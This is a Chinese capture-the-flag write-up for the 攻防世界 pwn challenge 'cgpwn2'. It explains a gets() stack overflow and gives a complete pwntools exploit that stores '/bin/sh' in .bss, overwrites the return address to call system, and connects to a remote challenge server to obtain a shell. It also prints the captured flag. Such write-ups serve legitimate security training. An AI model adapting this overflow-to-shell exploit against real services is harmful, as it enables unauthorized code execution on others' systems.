攻防世界 pwn cgpwn2

算是简单题,进入hello()函数中发现gets(&s) 栈溢出漏洞。

name是全局变量,在bss区段,适合写入。

pwn()函数中调用了__system,但并没有‘/bin/sh’


图片.png
图片.png

图片.png

攻击思路

在name中写入'/bin/sh'。利用栈溢出覆盖返回地址,使函数返回到system上,拿到shell。

payload=填充栈+覆盖保存的exp的值4字节+假的返回地址call __system('/bin/sh')

from pwn import *
# p = process('./cgpwn2')
p = remote("111.198.29.45",32966)
system_addr = 0x804855A
bss_addr = 0x804A080
p.recvuntil('name\n')
p.sendline("/bin/sh\x00")
p.recvuntil('here:\n')
payload = 0x26*'a' +'bbbb'+ p32(system_addr) + p32(bss_addr)
p.sendline(payload)
p.interactive()

cyberpeace{f92dbe7e38fed8edda8b7513b09acdc7}

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
禁止转载,如需转载请通过简信或评论联系作者。

相关阅读更多精彩内容

  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 8,499评论 0 6
  • Pwn的一丢丢知识点 这个月就是看了些wiki里的题目吧,然后想找一些解题规律的,可能题做的太少?反正是还没咋找出...
    YeeZi_阅读 4,377评论 0 1
  • 1.guess_num 用checksec查看文件属性: 用64位的IDA打开: 因为gets()函数不受输入限制...
    呼噜84阅读 3,811评论 0 1
  • 一位母亲或者我觉得她甚至不怎么配称为一位母亲,对女儿说的话真的太恶毒了,让我觉得,或许,她更希望她女儿去死…小...
    衲弧阅读 1,373评论 0 1
  • 如果人生是一场牌局,你是不是硬咀子。 我想是,事实是:我不是。 屈原是楚国的硬咀子,岳飞是南宋的硬咀子,文天祥是晚...
    风_行水上阅读 2,299评论 2 2

友情链接更多精彩内容